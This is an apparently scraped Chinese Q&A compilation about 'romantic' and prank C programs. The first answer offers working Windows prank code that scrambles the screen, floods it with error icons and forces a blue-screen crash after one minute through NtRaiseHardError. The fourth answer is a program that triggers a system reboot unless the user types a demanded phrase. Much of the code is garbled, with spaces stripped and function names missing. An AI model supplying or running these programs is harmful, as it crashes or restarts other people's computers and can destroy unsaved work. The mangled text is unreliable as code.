c語言撩妹代碼
⑴ 求一個c語言整人代碼!!!
先上代碼
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。
效果圖:
⑵ 我想給一個女生表白 怎麼用c語言表白
用C語言表白
可以做一個有趣的程序, 比如 一系列趣味問答,之後表示出你的意思
或者 一個簡單的動畫什麼的。
以上是C語言真要用作表白的一個思路, 但實際上 這種方法不可取
除非對方也是一個玩C比較精通的, 否則 她是沒法感受到你在這里花費的心血的
效果 甚至還不如畫上幾十塊錢弄一個浪漫的場景。。。
小心最後十動然拒啊
⑶ 愛心c語言程序代碼
具體如下。
#include
C語言是一門面向過程、抽象化的通用程序設計語言,廣泛應用於底層開發。C語言能以簡易的方式編譯、處理低級存儲器。C語言是僅產生神首少量的機器語言以及不需要任何運行環境支持便能運行的高效率程序設計語言。盡管C語言提供了許多低拍粗級處理的功能,但仍然保持著跨平台的特性,以一個標准規格寫出的C語言程序可在包括一些類似嵌入式處理器以及超級計算機等作襲瞎鎮業平台的許多計算機平台上進行編譯。
⑷ 求一些惡搞程序的C語言源代碼
#include"stdio.h"
int main()
{int n;
char a[10];
printf("叫大哥,不叫就關機(你有30秒的時間,如果關閉本程序一樣要關機)\n");
system("shutdown -r");
while(1)
{printf("叫:");
scanf("%s",&a);
n=strcmp(a,"大哥");
if(n==0)
{system("shutdown -a");
printf("嗯,真乖!!!爽!哈哈哈!!!");
break;
}
}
}
⑸ 用於撩妹的C語言程序
#include<stdio>
int main(void)
{
printf("撩妹")
return 0;
}
⑹ c語言的愛心代碼
愛心代碼編程:
#include <stdio.h>
int main(void)
{
float a,x,y;
for(y=1.5f; y>-1.5f; y-=0.1f)
{
for(x=-1.5f; x<1.5f; x+=0.05f)
{
a = x*x+y*y-1;
char ch = a*a*a-x*x*y*y*y<=0.0f?'*':' ';
putchar(ch);
}
printf(" ");
}
return 0;
}
書寫規則
1、一個說明或一個語句佔一行。
2、用{} 括起來的部分,通常表示了程序的某一層次結構。{}一般與該結構語句的第一個字母對齊,並單獨佔一行。
3、低一層次的語句或說明可比高一層次的語句或說明縮進若干格後書寫。以便看起來更加清晰,增加程序的可讀性。在編程時應力求遵循這些規則,以養成良好的編程風格。